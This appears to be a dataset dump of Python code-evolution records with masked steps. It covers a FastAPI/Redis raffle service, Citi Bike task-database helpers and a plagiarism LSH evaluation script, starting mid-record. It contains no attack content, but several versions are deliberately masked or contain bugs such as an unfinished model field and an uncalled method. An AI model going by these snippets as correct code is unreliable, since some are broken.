print('ok')\n if rq.qsize():\n return {'ret': 500, 'msg': '该抽奖已经存在，请删除后重试'}\n result = {'ret': 0, 'item': item}\n awardlist = item.award\n lucklist = []\n luckdict = {}\n for ward in awardlist:\n luckdict[ward.name] = ward.count\n for i in range(ward.count):\n lucklist.append(ward.name)\n othercount = item.total - len(lucklist)\n if othercount:\n luckdict[item.other] = othercount\n others = [item.other] * othercount\n lucklist = lucklist + others\n random.shuffle(lucklist)\n print(lucklist)\n for luck in lucklist:\n rq.put(luck)\n myredis.hmset(item.luckname, luckdict)\n result = {'ret': 0, 'msg': 'succses'}\n return result\n\n\n@app.get('/luck', tags=['抽奖接口'], summary='抽奖接口')\ndef luck(id: int, luckname: str):\n \"\"\"\n 开始抽奖\n \"\"\"\n rd = RedisQueue(luckname)\n myredis = MyRedis()\n winner = luckname + '_winner'\n if myredis.hexists(winner, id):\n return {'ret': 0, 'msg': '您已经抽过了，不能再抽了'}\n award = rd.get_nowait()\n if award:\n myredis.hset(winner, id, award)\n myredis.hincrby(luckname, award, -1)\n result = {'ret': 0, 'data': {'flag': 1, 'msg': '恭喜你中奖了', 'award':\n award}}\n else:\n result = {'ret': 0, 'data': {'flag': 0, 'msg': '奖抽完了'}}\n return result\n\n\n@app.get('/luckman', tags=['抽奖接口'], summary='查看中奖名单')\ndef luckman(luckname: str):\n myredis = MyRedis()\n winner = luckname + '_winner'\n winnerlist = myredis.hgetall(winner)\n print(winnerlist)\n return {'ret': 0, 'data': winnerlist}\n\n\n@app.get('/remaining', tags=['抽奖接口'], summary='查看剩余奖品列表')\ndef Remaining(luckname: str):\n myredis = MyRedis()\n remainlist = myredis.hgetall(luckname)\n print(remainlist)\n return {'ret': 0, 'data': remainlist}\n", "step-4": "from typing import Optional, List\nfrom fastapi import FastAPI\nfrom pydantic import BaseModel, Field\nfrom redisqueue import RedisQueue, MyRedis\nimport random\n\n\nclass Award(BaseModel):\n name: str\n count: int\n\n\nclass Item(BaseModel):\n luckname: str = Field(..., title='抽奖规则名称', max_lenght=300)\n total: int = Field(..., title='抽奖总人数', gt=0)\n award: Optional[List[Award]] = Field(None, title='奖品列表')\n other: str = Field(..., title='参与奖或者未中奖')\n\n\napp = FastAPI()\n\n\nclass ResSuccess(BaseModel):\n ret: int = 0\n data\n\n\n@app.get('/')\ndef read_root():\n return {'Hello': 'World'}\n\n\n@app.post('/delect', tags=['抽奖接口'], summary='删除抽奖规则')\ndef delect(name: str):\n rq = RedisQueue(name)\n if rq.qsize:\n rq.lpop(name)\n return {'ret': 0, 'msg': '删除成功'}\n\n\n@app.post('/creat', tags=['抽奖接口'], summary='创建抽奖规则')\ndef creat(item: Item):\n \"\"\"\n 通过该接口可以创建一个抽奖规则\n \"\"\"\n myredis = MyRedis()\n rq = RedisQueue(item.luckname)\n print('ok')\n if rq.qsize():\n return {'ret': 500, 'msg': '该抽奖已经存在，请删除后重试'}\n result = {'ret': 0, 'item': item}\n awardlist = item.award\n lucklist = []\n luckdict = {}\n for ward in awardlist:\n luckdict[ward.name] = ward.count\n for i in range(ward.count):\n lucklist.append(ward.name)\n othercount = item.total - len(lucklist)\n if othercount:\n luckdict[item.other] = othercount\n others = [item.other] * othercount\n lucklist = lucklist + others\n random.shuffle(lucklist)\n print(lucklist)\n for luck in lucklist:\n rq.put(luck)\n myredis.hmset(item.luckname, luckdict)\n result = {'ret': 0, 'msg': 'succses'}\n return result\n\n\n@app.get('/luck', tags=['抽奖接口'], summary='抽奖接口')\ndef luck(id: int, luckname: str):\n \"\"\"\n 开始抽奖\n \"\"\"\n rd = RedisQueue(luckname)\n myredis = MyRedis()\n winner = luckname + '_winner'\n if myredis.hexists(winner, id):\n return {'ret': 0, 'msg': '您已经抽过了，不能再抽了'}\n award = rd.get_nowait()\n if award:\n myredis.hset(winner, id, award)\n myredis.hincrby(luckname, award, -1)\n result = {'ret': 0, 'data': {'flag': 1, 'msg': '恭喜你中奖了', 'award':\n award}}\n else:\n result = {'ret': 0, 'data': {'flag': 0, 'msg': '奖抽完了'}}\n return result\n\n\n@app.get('/luckman', tags=['抽奖接口'], summary='查看中奖名单')\ndef luckman(luckname: str):\n myredis = MyRedis()\n winner = luckname + '_winner'\n winnerlist = myredis.hgetall(winner)\n print(winnerlist)\n return {'ret': 0, 'data': winnerlist}\n\n\n@app.get('/remaining', tags=['抽奖接口'], summary='查看剩余奖品列表')\ndef Remaining(luckname: str):\n myredis = MyRedis()\n remainlist = myredis.hgetall(luckname)\n print(remainlist)\n return {'ret': 0, 'data': remainlist}\n", "step-5": "from typing import Optional,List\n\nfrom fastapi import FastAPI\nfrom pydantic import BaseModel, Field\n\nfrom redisqueue import RedisQueue,MyRedis\nimport random\n\nclass Award(BaseModel):\n name: str\n count: int\n\nclass Item(BaseModel):\n luckname: str = Field(...,title=\"抽奖规则名称\",max_lenght = 300)\n total: int = Field(...,title=\"抽奖总人数\",gt=0)\n award: Optional[List[Award]] = Field(None,title=\"奖品列表\")\n other: str = Field(...,title=\"参与奖或者未中奖\")\napp = FastAPI()\n\nclass ResSuccess(BaseModel):\n ret: int = 0\n data\n\n@app.get('/')\ndef read_root():\n return {\"Hello\":\"World\"}\n\n@app.post(\n '/delect', \n tags = [\"抽奖接口\"],\n summary = \"删除抽奖规则\"\n )\ndef delect(name:str):\n rq = RedisQueue(name)\n if rq.qsize:\n rq.lpop(name)\n return {\n 'ret':0,\n 'msg':\"删除成功\"\n }\n\n@app.post(\n '/creat',\n tags = ['抽奖接口'],\n summary=\"创建抽奖规则\"\n)\ndef creat(item: Item):\n \"\"\"\n 通过该接口可以创建一个抽奖规则\n \"\"\"\n myredis = MyRedis()\n rq = RedisQueue(item.luckname)\n print(\"ok\")\n if rq.qsize():\n return {\n \"ret\":500,\n \"msg\":\"该抽奖已经存在，请删除后重试\"\n }\n result = {\"ret\":0, \"item\":item}\n awardlist = item.award\n lucklist =[]\n luckdict = {}\n for ward in awardlist:\n luckdict[ward.name] = ward.count\n for i in range(ward.count):\n lucklist.append(ward.name)\n othercount = item.total - len(lucklist)\n\n if othercount:\n luckdict[item.other] = othercount\n others = [item.other] * othercount\n \n lucklist = lucklist + others\n random.shuffle(lucklist)\n print(lucklist)\n for luck in lucklist:\n rq.put(luck)\n \n myredis.hmset(item.luckname,luckdict)\n\n result = {\n 'ret': 0,\n 'msg': \"succses\"\n }\n return result\n\n@app.get('/luck', tags = [\"抽奖接口\"], summary=\"抽奖接口\")\ndef luck(id: int,luckname: str):\n \"\"\"\n 开始抽奖\n \"\"\"\n rd = RedisQueue(luckname)\n myredis = MyRedis()\n winner = luckname+\"_winner\"\n if myredis.hexists(winner,id):\n return {\n \"ret\":0,\n \"msg\":\"您已经抽过了，不能再抽了\"\n }\n award = rd.get_nowait()\n if award:\n myredis.hset(winner,id,award)\n myredis.hincrby(luckname,award,-1)\n \n result = {\n \"ret\":0,\n 'data':{\n \"flag\":1,\n \"msg\":\"恭喜你中奖了\",\n \"award\":award\n }\n }\n else:\n result = {\n \"ret\":0,\n 'data':{\n \"flag\":0,\n \"msg\":\"奖抽完了\",\n }\n }\n \n return result\n\n@app.get('/luckman',tags = [\"抽奖接口\"],summary=\"查看中奖名单\")\ndef luckman(luckname: str):\n myredis = MyRedis()\n winner = luckname + \"_winner\"\n winnerlist = myredis.hgetall(winner)\n print(winnerlist)\n return {\n \"ret\":0,\n \"data\":winnerlist\n }\n\n@app.get('/remaining',tags = [\"抽奖接口\"],summary=\"查看剩余奖品列表\")\ndef Remaining(luckname: str):\n myredis = MyRedis()\n remainlist = myredis.hgetall(luckname)\n print(remainlist)\n return {\n \"ret\":0,\n \"data\":remainlist\n }\n", "step-ids": [ 7, 8, 10, 11, 12 ] }	[ 7, 8, 10, 11, 12 ]
import csv import sqlite3 import time from datetime import datetime, timedelta import pandas as pd import pytz import json import urllib import numpy as np DATABASE = '/var/www/html/citibikeapp/citibikeapp/citibike_change.db' def execute_query(cur,query, args=()): cur = cur.execute(query, args) rows = cur.fetchall() # cur.close() return rows def convertTime(et): """'2017-06-01 11:41:53 AM' to '2017-06-01 11:41:53' """ hour = int(et[11:13]) if et.find('PM') != -1 and hour != 12: dateString = et[:10] hour = hour + 12 et = dateString + ' ' + str(hour) + et[13:19] elif et.find('AM') != -1 and hour == 12: dateString = et[:10] hour = 0 et = dateString + ' ' + '0'+str(hour) + et[13:19] else: et = et[:19] return et def getNYtimenow(): tz = pytz.timezone('America/New_York') time = str(datetime.now(tz))[:19] return time def datetimeStringToObject(timeString): """convert a string in format YYYY-MM-DD hh:mm:ss to a datetime object""" try: year = int(timeString[:4]) month = int(timeString[5:7]) day = int(timeString[8:10]) hour = int(timeString[11:13]) minute = int(timeString[14:16]) result = datetime(year, month, day, hour, minute) return result except: return None def timeStringToObject(timeString): """convert a string in format hh:mm:ss to a datetime object with current date""" try: # year = datetime.now().year # month = datetime.now().month # day = datetime.now().day hour = int(timeString[:2]) minute = int(timeString[3:5]) result = datetime.today().replace(hour=hour, minute=minute, second=0, microsecond=0) return result except: return None def notSignedIn(vID): """Return true is the drivers did not enter vehicle ID, return False if the drivers have entered the vehicle ID""" if str(vID) == '0': return True return False def resetEstComp(cur, vID): """estimate completion time goes to 0""" cur.execute("""UPDATE OpenTasks SET estComplete = null WHERE vID = ? """,[vID]) def getNextFixOrderNum(cur,vID): """return the integer which is one larger than the order number of the last fixed task""" orderNum = execute_query(cur, """SELECT Count() FROM OpenTasks where vID = ? and fixTask = 1""", [vID])[0][0] orderNum = int(orderNum) + 1 return orderNum def getNextOrderNum(cur,vID): """return the integer which is one larger than the order number of the last task""" orderNum = execute_query(cur,"""SELECT Count() FROM OpenTasks where vID = ?""", [vID])[0][0] orderNum = int(orderNum) + 1 return orderNum def fixOrderBeforeInsert(cur,vID,orderNum): """Increment later tasks' order number by 1, orderNum is the order of the inserted task should be called before inserting the task """ cur.execute("""UPDATE OpenTasks SET orderNum = orderNum + 1 WHERE vID = ? and orderNum >= ?""",[vID, orderNum])	normal	{ "blob_id": "9b8b196e1ad845ab745dabe5abe3be7bea0d5695", "index": 4835, "step-1": "<mask token>\n\n\ndef convertTime(et):\n \"\"\"'2017-06-01 11:41:53 AM' to '2017-06-01 11:41:53' \"\"\"\n hour = int(et[11:13])\n if et.find('PM') != -1 and hour != 12:\n dateString = et[:10]\n hour = hour + 12\n et = dateString + ' ' + str(hour) + et[13:19]\n elif et.find('AM') != -1 and hour == 12:\n dateString = et[:10]\n hour = 0\n et = dateString + ' ' + '0' + str(hour) + et[13:19]\n else:\n et = et[:19]\n return et\n\n\ndef getNYtimenow():\n tz = pytz.timezone('America/New_York')\n time = str(datetime.now(tz))[:19]\n return time\n\n\ndef datetimeStringToObject(timeString):\n \"\"\"convert a string in format YYYY-MM-DD hh:mm:ss to a datetime object\"\"\"\n try:\n year = int(timeString[:4])\n month = int(timeString[5:7])\n day = int(timeString[8:10])\n hour = int(timeString[11:13])\n minute = int(timeString[14:16])\n result = datetime(year, month, day, hour, minute)\n return result\n except:\n return None\n\n\n<mask token>\n\n\ndef resetEstComp(cur, vID):\n \"\"\"estimate completion time goes to 0\"\"\"\n cur.execute('UPDATE OpenTasks SET estComplete = null WHERE vID = ? ', [vID]\n )\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef execute_query(cur, query, args=()):\n cur = cur.execute(query, args)\n rows = cur.fetchall()\n return rows\n\n\ndef convertTime(et):\n \"\"\"'2017-06-01 11:41:53 AM' to '2017-06-01 11:41:53' \"\"\"\n hour = int(et[11:13])\n if et.find('PM') != -1 and hour != 12:\n dateString = et[:10]\n hour = hour + 12\n et = dateString + ' ' + str(hour) + et[13:19]\n elif et.find('AM') != -1 and hour == 12:\n dateString = et[:10]\n hour = 0\n et = dateString + ' ' + '0' + str(hour) + et[13:19]\n else:\n et = et[:19]\n return et\n\n\ndef getNYtimenow():\n tz = pytz.timezone('America/New_York')\n time = str(datetime.now(tz))[:19]\n return time\n\n\ndef datetimeStringToObject(timeString):\n \"\"\"convert a string in format YYYY-MM-DD hh:mm:ss to a datetime object\"\"\"\n try:\n year = int(timeString[:4])\n month = int(timeString[5:7])\n day = int(timeString[8:10])\n hour = int(timeString[11:13])\n minute = int(timeString[14:16])\n result = datetime(year, month, day, hour, minute)\n return result\n except:\n return None\n\n\n<mask token>\n\n\ndef notSignedIn(vID):\n \"\"\"Return true is the drivers did not enter vehicle ID, \n return False if the drivers have entered the vehicle ID\"\"\"\n if str(vID) == '0':\n return True\n return False\n\n\ndef resetEstComp(cur, vID):\n \"\"\"estimate completion time goes to 0\"\"\"\n cur.execute('UPDATE OpenTasks SET estComplete = null WHERE vID = ? ', [vID]\n )\n\n\ndef getNextFixOrderNum(cur, vID):\n \"\"\"return the integer which is one larger than the order number of the last fixed task\"\"\"\n orderNum = execute_query(cur,\n 'SELECT Count() FROM OpenTasks where vID = ? and fixTask = 1', [vID])[\n 0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef execute_query(cur, query, args=()):\n cur = cur.execute(query, args)\n rows = cur.fetchall()\n return rows\n\n\ndef convertTime(et):\n \"\"\"'2017-06-01 11:41:53 AM' to '2017-06-01 11:41:53' \"\"\"\n hour = int(et[11:13])\n if et.find('PM') != -1 and hour != 12:\n dateString = et[:10]\n hour = hour + 12\n et = dateString + ' ' + str(hour) + et[13:19]\n elif et.find('AM') != -1 and hour == 12:\n dateString = et[:10]\n hour = 0\n et = dateString + ' ' + '0' + str(hour) + et[13:19]\n else:\n et = et[:19]\n return et\n\n\ndef getNYtimenow():\n tz = pytz.timezone('America/New_York')\n time = str(datetime.now(tz))[:19]\n return time\n\n\ndef datetimeStringToObject(timeString):\n \"\"\"convert a string in format YYYY-MM-DD hh:mm:ss to a datetime object\"\"\"\n try:\n year = int(timeString[:4])\n month = int(timeString[5:7])\n day = int(timeString[8:10])\n hour = int(timeString[11:13])\n minute = int(timeString[14:16])\n result = datetime(year, month, day, hour, minute)\n return result\n except:\n return None\n\n\ndef timeStringToObject(timeString):\n \"\"\"convert a string in format hh:mm:ss to a datetime object with current date\"\"\"\n try:\n hour = int(timeString[:2])\n minute = int(timeString[3:5])\n result = datetime.today().replace(hour=hour, minute=minute, second=\n 0, microsecond=0)\n return result\n except:\n return None\n\n\ndef notSignedIn(vID):\n \"\"\"Return true is the drivers did not enter vehicle ID, \n return False if the drivers have entered the vehicle ID\"\"\"\n if str(vID) == '0':\n return True\n return False\n\n\ndef resetEstComp(cur, vID):\n \"\"\"estimate completion time goes to 0\"\"\"\n cur.execute('UPDATE OpenTasks SET estComplete = null WHERE vID = ? ', [vID]\n )\n\n\ndef getNextFixOrderNum(cur, vID):\n \"\"\"return the integer which is one larger than the order number of the last fixed task\"\"\"\n orderNum = execute_query(cur,\n 'SELECT Count() FROM OpenTasks where vID = ? and fixTask = 1', [vID])[\n 0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\n\ndef getNextOrderNum(cur, vID):\n \"\"\"return the integer which is one larger than the order number of the last task\"\"\"\n orderNum = execute_query(cur,\n 'SELECT Count() FROM OpenTasks where vID = ?', [vID])[0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\n\ndef fixOrderBeforeInsert(cur, vID, orderNum):\n \"\"\"Increment later tasks' order number by 1, orderNum is the order of the inserted task\n should be called before inserting the task \"\"\"\n cur.execute(\n 'UPDATE OpenTasks SET orderNum = orderNum + 1 WHERE vID = ? and orderNum >= ?'\n , [vID, orderNum])\n", "step-4": "import csv\nimport sqlite3\nimport time\nfrom datetime import datetime, timedelta\nimport pandas as pd\nimport pytz\nimport json\nimport urllib\nimport numpy as np\nDATABASE = '/var/www/html/citibikeapp/citibikeapp/citibike_change.db'\n\n\ndef execute_query(cur, query, args=()):\n cur = cur.execute(query, args)\n rows = cur.fetchall()\n return rows\n\n\ndef convertTime(et):\n \"\"\"'2017-06-01 11:41:53 AM' to '2017-06-01 11:41:53' \"\"\"\n hour = int(et[11:13])\n if et.find('PM') != -1 and hour != 12:\n dateString = et[:10]\n hour = hour + 12\n et = dateString + ' ' + str(hour) + et[13:19]\n elif et.find('AM') != -1 and hour == 12:\n dateString = et[:10]\n hour = 0\n et = dateString + ' ' + '0' + str(hour) + et[13:19]\n else:\n et = et[:19]\n return et\n\n\ndef getNYtimenow():\n tz = pytz.timezone('America/New_York')\n time = str(datetime.now(tz))[:19]\n return time\n\n\ndef datetimeStringToObject(timeString):\n \"\"\"convert a string in format YYYY-MM-DD hh:mm:ss to a datetime object\"\"\"\n try:\n year = int(timeString[:4])\n month = int(timeString[5:7])\n day = int(timeString[8:10])\n hour = int(timeString[11:13])\n minute = int(timeString[14:16])\n result = datetime(year, month, day, hour, minute)\n return result\n except:\n return None\n\n\ndef timeStringToObject(timeString):\n \"\"\"convert a string in format hh:mm:ss to a datetime object with current date\"\"\"\n try:\n hour = int(timeString[:2])\n minute = int(timeString[3:5])\n result = datetime.today().replace(hour=hour, minute=minute, second=\n 0, microsecond=0)\n return result\n except:\n return None\n\n\ndef notSignedIn(vID):\n \"\"\"Return true is the drivers did not enter vehicle ID, \n return False if the drivers have entered the vehicle ID\"\"\"\n if str(vID) == '0':\n return True\n return False\n\n\ndef resetEstComp(cur, vID):\n \"\"\"estimate completion time goes to 0\"\"\"\n cur.execute('UPDATE OpenTasks SET estComplete = null WHERE vID = ? ', [vID]\n )\n\n\ndef getNextFixOrderNum(cur, vID):\n \"\"\"return the integer which is one larger than the order number of the last fixed task\"\"\"\n orderNum = execute_query(cur,\n 'SELECT Count() FROM OpenTasks where vID = ? and fixTask = 1', [vID])[\n 0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\n\ndef getNextOrderNum(cur, vID):\n \"\"\"return the integer which is one larger than the order number of the last task\"\"\"\n orderNum = execute_query(cur,\n 'SELECT Count() FROM OpenTasks where vID = ?', [vID])[0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\n\ndef fixOrderBeforeInsert(cur, vID, orderNum):\n \"\"\"Increment later tasks' order number by 1, orderNum is the order of the inserted task\n should be called before inserting the task \"\"\"\n cur.execute(\n 'UPDATE OpenTasks SET orderNum = orderNum + 1 WHERE vID = ? and orderNum >= ?'\n , [vID, orderNum])\n", "step-5": "import csv\nimport sqlite3\nimport time\nfrom datetime import datetime, timedelta\nimport pandas as pd\nimport pytz\nimport json\nimport urllib\nimport numpy as np\n\nDATABASE = '/var/www/html/citibikeapp/citibikeapp/citibike_change.db'\n\ndef execute_query(cur,query, args=()):\n cur = cur.execute(query, args)\n rows = cur.fetchall()\n # cur.close()\n return rows\n\n\ndef convertTime(et):\n \"\"\"'2017-06-01 11:41:53 AM' to '2017-06-01 11:41:53' \"\"\" \n hour = int(et[11:13])\n if et.find('PM') != -1 and hour != 12:\n dateString = et[:10]\n hour = hour + 12\n et = dateString + ' ' + str(hour) + et[13:19]\n elif et.find('AM') != -1 and hour == 12:\n dateString = et[:10]\n hour = 0\n et = dateString + ' ' + '0'+str(hour) + et[13:19]\n else:\n et = et[:19]\n\n return et\n\n\ndef getNYtimenow():\n tz = pytz.timezone('America/New_York')\n time = str(datetime.now(tz))[:19]\n return time\n\ndef datetimeStringToObject(timeString):\n \"\"\"convert a string in format YYYY-MM-DD hh:mm:ss to a datetime object\"\"\"\n try:\n year = int(timeString[:4])\n month = int(timeString[5:7])\n day = int(timeString[8:10])\n hour = int(timeString[11:13])\n minute = int(timeString[14:16])\n result = datetime(year, month, day, hour, minute)\n return result\n except:\n return None\n\ndef timeStringToObject(timeString):\n \"\"\"convert a string in format hh:mm:ss to a datetime object with current date\"\"\"\n try:\n # year = datetime.now().year\n # month = datetime.now().month\n # day = datetime.now().day\n hour = int(timeString[:2])\n minute = int(timeString[3:5])\n result = datetime.today().replace(hour=hour, minute=minute, second=0, microsecond=0)\n return result\n except:\n return None\n\ndef notSignedIn(vID):\n \"\"\"Return true is the drivers did not enter vehicle ID, \n return False if the drivers have entered the vehicle ID\"\"\"\n if str(vID) == '0':\n return True\n return False\n\n\ndef resetEstComp(cur, vID):\n \"\"\"estimate completion time goes to 0\"\"\" \n cur.execute(\"\"\"UPDATE OpenTasks SET estComplete = null WHERE vID = ? \"\"\",[vID])\n\ndef getNextFixOrderNum(cur,vID):\n \"\"\"return the integer which is one larger than the order number of the last fixed task\"\"\"\n orderNum = execute_query(cur, \"\"\"SELECT Count() FROM OpenTasks where vID = ? and fixTask = 1\"\"\", [vID])[0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\ndef getNextOrderNum(cur,vID):\n \"\"\"return the integer which is one larger than the order number of the last task\"\"\"\n orderNum = execute_query(cur,\"\"\"SELECT Count(*) FROM OpenTasks where vID = ?\"\"\", [vID])[0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\ndef fixOrderBeforeInsert(cur,vID,orderNum):\n \"\"\"Increment later tasks' order number by 1, orderNum is the order of the inserted task\n should be called before inserting the task \"\"\"\n cur.execute(\"\"\"UPDATE OpenTasks SET orderNum = orderNum + 1 WHERE vID = ? and orderNum >= ?\"\"\",[vID, orderNum])", "step-ids": [ 4, 7, 10, 12, 13 ] }	[ 4, 7, 10, 12, 13 ]
<\|reserved_special_token_0\|> def _get_stats(candidate_pairs, truth_pairs): tp = len(candidate_pairs.intersection(truth_pairs)) prec = 1.0 * tp / len(candidate_pairs) rec = 1.0 * tp / len(truth_pairs) print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len( candidate_pairs), tp, prec, rec)) return prec, rec <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def _read_truthfile(filepath): with open(filepath, 'r') as f: truth_pairs = [tuple(sorted(line.strip().split())) for line in f] return set(truth_pairs) def _get_stats(candidate_pairs, truth_pairs): tp = len(candidate_pairs.intersection(truth_pairs)) prec = 1.0 * tp / len(candidate_pairs) rec = 1.0 * tp / len(truth_pairs) print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len( candidate_pairs), tp, prec, rec)) return prec, rec <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def _read_truthfile(filepath): with open(filepath, 'r') as f: truth_pairs = [tuple(sorted(line.strip().split())) for line in f] return set(truth_pairs) def _get_stats(candidate_pairs, truth_pairs): tp = len(candidate_pairs.intersection(truth_pairs)) prec = 1.0 * tp / len(candidate_pairs) rec = 1.0 * tp / len(truth_pairs) print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len( candidate_pairs), tp, prec, rec)) return prec, rec def run(mh, truthfile, ts): truth_pairs = _read_truthfile(truthfile) prec_series = [] rec_series = [] for t in ts: print('Doing LSH with t=', t) lsh = LSH(t) lsh.do_lsh(mh) candidate_pairs = set(lsh.get_candidates()) prec, rec = _get_stats(candidate_pairs, truth_pairs) prec_series.append(prec) rec_series.append(rec) exp_df = pd.DataFrame({'t': ts, 'prec': prec_series, 'rec': rec_series}) return exp_df <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> from plagiarism_lib.article_db import ArticleDB from plagiarism_lib.minhash import MinHash from plagiarism_lib.lsh import LSH import pandas as pd import numpy as np def _read_truthfile(filepath): with open(filepath, 'r') as f: truth_pairs = [tuple(sorted(line.strip().split())) for line in f] return set(truth_pairs) def _get_stats(candidate_pairs, truth_pairs): tp = len(candidate_pairs.intersection(truth_pairs)) prec = 1.0 * tp / len(candidate_pairs) rec = 1.0 * tp / len(truth_pairs) print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len( candidate_pairs), tp, prec, rec)) return prec, rec def run(mh, truthfile, ts): truth_pairs = _read_truthfile(truthfile) prec_series = [] rec_series = [] for t in ts: print('Doing LSH with t=', t) lsh = LSH(t) lsh.do_lsh(mh) candidate_pairs = set(lsh.get_candidates()) prec, rec = _get_stats(candidate_pairs, truth_pairs) prec_series.append(prec) rec_series.append(rec) exp_df = pd.DataFrame({'t': ts, 'prec': prec_series, 'rec': rec_series}) return exp_df <\|reserved_special_token_1\|> #!/usr/bin/env python3 # -- coding: utf-8 -- """ Created on Sat Oct 7 07:51:26 2017 @author: hcorrada """ from plagiarism_lib.article_db import ArticleDB from plagiarism_lib.minhash import MinHash from plagiarism_lib.lsh import LSH import pandas as pd import numpy as np def _read_truthfile(filepath): with open(filepath, 'r') as f: truth_pairs = [tuple(sorted(line.strip().split())) for line in f] return set(truth_pairs) def _get_stats(candidate_pairs, truth_pairs): tp = len(candidate_pairs.intersection(truth_pairs)) prec = 1.0 * tp / len(candidate_pairs) rec = 1.0 * tp / len(truth_pairs) print (" returned: %d, tp=%.4f, prec=%.4f, rec=%.4f" % (len(candidate_pairs), tp, prec, rec)) return prec, rec def run(mh, truthfile, ts): truth_pairs = _read_truthfile(truthfile) prec_series = [] rec_series = [] for t in ts: print("Doing LSH with t=", t) lsh = LSH(t) lsh.do_lsh(mh) candidate_pairs = set(lsh.get_candidates()) prec, rec = _get_stats(candidate_pairs, truth_pairs) prec_series.append(prec) rec_series.append(rec) exp_df = pd.DataFrame({'t': ts, 'prec': prec_series, 'rec': rec_series}) return exp_df	flexible	{ "blob_id": "18b73a06c80272aff5c0e4b10473e95bd58466f3", "index": 1197, "step-1": "<mask token>\n\n\ndef _get_stats(candidate_pairs, truth_pairs):\n tp = len(candidate_pairs.intersection(truth_pairs))\n prec = 1.0 * tp / len(candidate_pairs)\n rec = 1.0 * tp / len(truth_pairs)\n print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len(\n candidate_pairs), tp, prec, rec))\n return prec, rec\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef _read_truthfile(filepath):\n with open(filepath, 'r') as f:\n truth_pairs = [tuple(sorted(line.strip().split())) for line in f]\n return set(truth_pairs)\n\n\ndef _get_stats(candidate_pairs, truth_pairs):\n tp = len(candidate_pairs.intersection(truth_pairs))\n prec = 1.0 * tp / len(candidate_pairs)\n rec = 1.0 * tp / len(truth_pairs)\n print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len(\n candidate_pairs), tp, prec, rec))\n return prec, rec\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef _read_truthfile(filepath):\n with open(filepath, 'r') as f:\n truth_pairs = [tuple(sorted(line.strip().split())) for line in f]\n return set(truth_pairs)\n\n\ndef _get_stats(candidate_pairs, truth_pairs):\n tp = len(candidate_pairs.intersection(truth_pairs))\n prec = 1.0 * tp / len(candidate_pairs)\n rec = 1.0 * tp / len(truth_pairs)\n print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len(\n candidate_pairs), tp, prec, rec))\n return prec, rec\n\n\ndef run(mh, truthfile, ts):\n truth_pairs = _read_truthfile(truthfile)\n prec_series = []\n rec_series = []\n for t in ts:\n print('Doing LSH with t=', t)\n lsh = LSH(t)\n lsh.do_lsh(mh)\n candidate_pairs = set(lsh.get_candidates())\n prec, rec = _get_stats(candidate_pairs, truth_pairs)\n prec_series.append(prec)\n rec_series.append(rec)\n exp_df = pd.DataFrame({'t': ts, 'prec': prec_series, 'rec': rec_series})\n return exp_df\n", "step-4": "<mask token>\nfrom plagiarism_lib.article_db import ArticleDB\nfrom plagiarism_lib.minhash import MinHash\nfrom plagiarism_lib.lsh import LSH\nimport pandas as pd\nimport numpy as np\n\n\ndef _read_truthfile(filepath):\n with open(filepath, 'r') as f:\n truth_pairs = [tuple(sorted(line.strip().split())) for line in f]\n return set(truth_pairs)\n\n\ndef _get_stats(candidate_pairs, truth_pairs):\n tp = len(candidate_pairs.intersection(truth_pairs))\n prec = 1.0 * tp / len(candidate_pairs)\n rec = 1.0 * tp / len(truth_pairs)\n print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len(\n candidate_pairs), tp, prec, rec))\n return prec, rec\n\n\ndef run(mh, truthfile, ts):\n truth_pairs = _read_truthfile(truthfile)\n prec_series = []\n rec_series = []\n for t in ts:\n print('Doing LSH with t=', t)\n lsh = LSH(t)\n lsh.do_lsh(mh)\n candidate_pairs = set(lsh.get_candidates())\n prec, rec = _get_stats(candidate_pairs, truth_pairs)\n prec_series.append(prec)\n rec_series.append(rec)\n exp_df = pd.DataFrame({'t': ts, 'prec': prec_series, 'rec': rec_series})\n return exp_df\n", "step-5": "#!/usr/bin/env python3\n# -- coding: utf-8 --\n\"\"\"\nCreated on Sat Oct 7 07:51:26 2017\n\n@author: hcorrada\n\"\"\"\n\nfrom plagiarism_lib.article_db import ArticleDB\nfrom plagiarism_lib.minhash import MinHash\nfrom plagiarism_lib.lsh import LSH\n\nimport pandas as pd\nimport numpy as np\n\ndef _read_truthfile(filepath):\n with open(filepath, 'r') as f:\n truth_pairs = [tuple(sorted(line.strip().split()))\n for line in f]\n return set(truth_pairs)\n\ndef _get_stats(candidate_pairs, truth_pairs):\n tp = len(candidate_pairs.intersection(truth_pairs)) \n prec = 1.0 * tp / len(candidate_pairs)\n rec = 1.0 * tp / len(truth_pairs)\n print (\" returned: %d, tp=%.4f, prec=%.4f, rec=%.4f\" % (len(candidate_pairs), tp, prec, rec))\n return prec, rec\n\ndef run(mh, truthfile, ts):\n truth_pairs = _read_truthfile(truthfile)\n \n prec_series = []\n rec_series = []\n \n for t in ts:\n print(\"Doing LSH with t=\", t) \n lsh = LSH(t)\n lsh.do_lsh(mh)\n \n candidate_pairs = set(lsh.get_candidates())\n prec, rec = _get_stats(candidate_pairs, truth_pairs) \n prec_series.append(prec)\n rec_series.append(rec)\n \n exp_df = pd.DataFrame({'t': ts, 'prec': prec_series, 'rec': rec_series})\n \n return exp_df", "step-ids": [ 1, 2, 3, 4, 5 ] }	[ 1, 2, 3, 4, 5 ]
